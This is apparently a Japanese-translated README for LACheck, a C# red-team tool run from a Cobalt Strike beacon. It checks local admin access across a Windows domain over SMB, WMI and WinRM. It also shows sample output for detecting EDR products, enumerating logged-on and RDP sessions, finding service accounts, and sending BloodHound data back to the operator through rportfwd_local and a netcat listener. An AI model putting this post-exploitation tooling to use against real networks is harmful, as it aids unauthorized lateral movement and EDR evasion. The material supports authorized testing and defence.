
マルチスレッド C# .NET Assembly ローカル管理者権限列挙
> ./LACheck.exe help
_ _____ _ _
| | /\ / ____| | | |
| | / \ | | | |__ ___ ___| | __
| | / /\ \ | | | '_ \ / _ \/ __| |/ /
| |____ / ____ \ | |____| | | | __/ (__| <
|______/_/ \_\ \_____|_| |_|\___|\___|_|\_\
Usage:
LACheck.exe smb rpc /targets:hostname,fqdn.domain.tld,10.10.10.10 /ldap:all /ou:"OU=Special Servers,DC=example,DC=local" /verbose /bloodhound /user:[email protected]
Local Admin Checks:
smb - Attempts to access C$ share
rpc - Attempts WMI query of Win32_ComputerSystem Class provider over RPC
winrm - Attempts WMI query of Win32_ComputerSystem Class Provider over WinRM Session
Arguments:
/bloodhound - generate bloodhound-digestible AdminTo and Session collection file
output file is zipped and enypted with randomized name and password
/dc - specify domain controller to query (if not ran on a domain-joined host)
/domain - specify domain name (if not ran on a domain-joined host)
/edr - check host for EDR (requires smb, rpc, or winrm)
/logons - return logged on users on a host (requires smb, rpc, or winrm)
/registry - enumerate sessions from registry hive (requires smb)
/services - return services running as users (requires smb, rpc, or winrm)
/socket - send bloodhound output to TCP socket instead of writing to disk
ex: ""127.0.0.1:8080""
/targets - comma-separated list of hostnames to check
/threads - specify maximum number of parallel threads (default=25)
/user - specify username that collection was run under (useful during token manipulation)
/validate - check credentials against Domain prior to scanning targets (useful during token manipulation)
/verbose - print additional logging information
/ou - specify LDAP OU to query enabled computer objects from
ex: "OU=Special Servers,DC=example,DC=local"
/ldap - query hosts from the following LDAP filters:
:all - All enabled computers with 'primary' group 'Domain Computers'
:dc - All enabled Domain Controllers (not read-only DCs)
:exclude-dc - All enabled computers that are not Domain Controllers or read-only DCs
:servers - All enabled servers
:servers-exclude-dc - All enabled servers excluding Domain Controllers or read-only DCs
execute-assembly /opt/SharpTools/LACheck smb rpc winrm /ldap:servers-exclude-dc /targets:WEB01,DEV02.contoso.com,10.10.10.10 /logons /threads:10 /verbose
[*] Tasked beacon to run .NET program: LACheck smb rpc winrm /ldap:servers-exclude-dc /targets:WEB01,DEV02.contoso.com,10.10.10.10 /logons /threads:10 /verbose
[+] host called home, sent: 111705 bytes
[+] received Output
[+] Parsed Aguments:
rpc: True
smb: True
winrm: True
/bloodhound: False
/edr: False
/logons: True
/registry: False
/services: False
/ldap: servers-exclude-dc
/ou:
/targets:
/threads: 10
/user: svcadmin
/validate: False
/verbose: False
[+] Performing LDAP query for all enabled computers that are not Domain Controllers or read-only DCs...
[+] This may take some time depending on the size of the environment
[+] LDAP Search Results: 2
[SMB] Admin Success: WEB01 as svcadmin
[session] WEB01 - contoso\devadmin (svcadmin)
[session] WEB01 - contoso\devuser (svcadmin)
[session] WEB01 - contoso\WEB01$ (svcadmin)
[session] WEB01 - contoso\devadmin (svcadmin)
[session] WEB01 - contoso\devuser (svcadmin)
[rdp] WEB01 - contoso\devadmin rdp-tcp#2 Active Last Connection: 00:00:50:26 Last Input: 00:00:00:00 (svcadmin)
[session] WEB01 - contoso\devadmin 4/20/2021 11:00:05 AM (svcadmin)
[session] WEB01 - contoso\devuser 4/20/2021 1:40:52 PM (svcadmin)
[session] WEB01 - contoso\WEB01$ 4/20/2021 5:51:43 PM (svcadmin)
[session] WEB01 - contoso\devadmin 4/20/2021 09:54:38 AM (svcadmin)
[session] WEB01 - contoso\devuser 4/20/2021 10:14:32 AM (svcadmin)
[WinRM] Admin Success: DESKTOP-118GDCE as svcadmin
[WinRM] Admin Success: DEV02.contoso.com as svcadmin
[!] RPC on DEV02.contoso.com - Access denied.
[!] SMB on DEV02.contoso.com - Attempted to perform an unauthorized operation.
[RPC] Admin Success: 10.10.10.10 as svcadmin
[!] SMB on 10.10.10.10 - Attempted to perform an unauthorized operation.
[!] WinRM on 10.10.10.10 - The WinRM client cannot process the request. Default authentication may be used with an IP address under the following conditions: the transport is HTTPS or the destination is in the TrustedHosts list, and explicit credentials are provided. Use winrm.cmd to configure TrustedHosts. Note that computers in the TrustedHosts list might not be authenticated. For more information on how to set TrustedHosts run the following command: winrm help config.
上記の出力例のように、IP アドレス 10.10.10.10 のホストで WinRM をチェックしようとすると、WinRM クライアントが IP アドレス経由でホストに認証を試みないためエラーになります。
WinRM アクセスをチェックする際はホスト名を使用してください。
/targets、/ldap、/ou フラグはすべて一緒に、または別々に使用して、列挙するホストのリストを生成できます。
これらのフラグから返されたすべてのホストは、列挙を開始する前に結合され重複が排除されます。
LACheck は、AdminTo および Session の収集内容を JSON 出力に書き込み、BloodHound にアップロードできるようにします。
この出力は、既存の BloodHound 収集を、単一ユーザーの更新された管理者権限と、管理者権限が特定されたホストから収集されたセッションで補完することのみを目的としています。
/bloodhound スイッチは、ランダムな名前の暗号化された zip ファイルをディスクに書き込みます。このファイルはダウンロード、展開、BloodHound へのアップロードが可能です。
BloodHound はユーザーとコンピューターを SID に解決する必要があります。Cobalt Strike の make_token や kerberos_ticket_use などの偽装技術により、LACheck はコレクションのユーザーコンテキストを正確に判断できない場合があります。/user 引数は、LACheck に実行時のコンテキストの userPrincipalName (形式 = [email protected]) を提供するために必要であり、収集情報を正確に関連付けるために使用されます。
BloodHound 出力は、ディスクに書き込む代わりに TCP ソケットに送信できます。
TCP 接続が失敗した場合、BloodHound 出力はディスクに書き込まれます。
Cobalt Strike ビーコンでは、rportfwd_local を使用して、ホストからオペレーターのローカルマシンに TCP 接続を転送できます。
rportfwd_local 8888 127.0.0.1 8888
次に、オペレーターは netcat を使用して TCP ストリームの出力をローカルファイルにパイプできます。
nc -lvnp 8888 > computers.json
- = 未実装
元ネタ: harleyQu1nn の EDR.cna スクリプト
Directory.GetFiles メソッドは以下の場所からドライバーのリストを返します:
ドライバーは、EDR ベンダーが使用する既知のドライバーのリストと照合されます。
[EDR] WEB01 - Found: CrowdStrike, SentinelOne (svcadmin)
[EDR] DEV02 - no EDR found (svcadmin)
NetWkstaUserEnum は、対話型、サービス、バッチログオンを持つユーザーのリストを返します
WTSEnumerateSessionsA は、ホスト上の RDP セッションのリストを返します
WTSQuerySessionInformationA は、各 RDP セッションの詳細情報を取得します
[session] WEB01 - contoso\devadmin (svcadmin)
[session] WEB01 - contoso\devuser (svcadmin)
[session] WEB01 - contoso\WEB01$ (svcadmin)
[session] WEB01 - contoso\devadmin (svcadmin)
[session] WEB01 - contoso\devuser (svcadmin)
[rdp] WEB01 - contoso\devadmin rdp-tcp#2 Active Last Connection: 00:00:50:26 Last Input: 00:00:00:00 (svcadmin)
\\Computer\HKEY_USERS\ ハイブ内の SID を反復処理し、各 SID の Volatile Environment へのアクセスを試み、USERDOMAIN キーと USERNAME キーから値を取得します。
このメソッドでは、リモートホストで Remote Registry サービスが実行されている必要があります。実行されていない場合:
Automatic に変更各ホストを列挙するための潜在的な複数ステップのプロセスのため、このメソッドは代替技術と比較して遅くなる可能性があります。smb /logons の方が高速です。
[registry] WEB01 - contoso\devadmin (svcadmin)
ServiceController.GetServices メソッド は、ホスト上のサービスのリストを取得します
各サービスは、実行するように構成されているユーザーを特定するためにクエリされます。
各サービスを個別にクエリする必要があるため、このメソッドは代替技術と比較して遅くなる可能性があります。wmi /services の方が高速です。
[service] WEB01 - [email protected] Service: secretsvc State: Running (svcadmin)
元ネタ: harleyQu1nn の EDR.cna スクリプト
CIM_DataFile クラス は以下の場所からドライバーのリストを返します:
ドライバーは、EDR ベンダーが使用する既知のドライバーのリストと照合されます。
[EDR] WEB01 - Found: CrowdStrike, SentinelOne (svcadmin)
[EDR] DEV02 - no EDR found (svcadmin)
Win32_LoggedOnUser クラス は、ログオンセッションのリストを返します Win32_LogonSession クラス は、各セッションの詳細情報を返します
[session] WEB01 - contoso\devadmin 4/20/2021 11:00:05 AM (svcadmin)
[session] WEB01 - contoso\devuser 4/20/2021 1:40:52 PM (svcadmin)
[session] WEB01 - contoso\WEB01$ 4/20/2021 5:51:43 PM (svcadmin)
[session] WEB01 - contoso\devadmin 4/20/2021 09:54:38 AM (svcadmin)
[session] WEB01 - contoso\devuser 4/20/2021 10:14:32 AM (svcadmin)
Win32_UserProfile クラス をクエリして、システム上のユーザープロファイルの SID を取得します。
StdRegProv クラスの EnumKey メソッド は、\\Computer\HKEY_USERS\ ハイブを取得し、返された各 SID の Volatile Environment へのアクセスを試み、USERDOMAIN キーと USERNAME キーから値を取得します。
[registry] WEB01 - contoso\devadmin (svcadmin)
Win32_Service クラス をクエリして、サービスの名前、ユーザー、状態を取得します
[service] WEB01 - [email protected] Service: secretsvc State: Running (svcadmin)
各 WMI チェックは、WinRM 経由で WMI Resources および WMI Enumeration を使用して実装されています。
これにより、PowerShell ランタイムスペースの使用が回避されます。
| SMB | WMI | WinRM |
|---|
| /edr | fast | fast | fast |
| /logons | fast | fast | fast |
| /services | slow | fast | fast |
| /registry | slow | fast | - |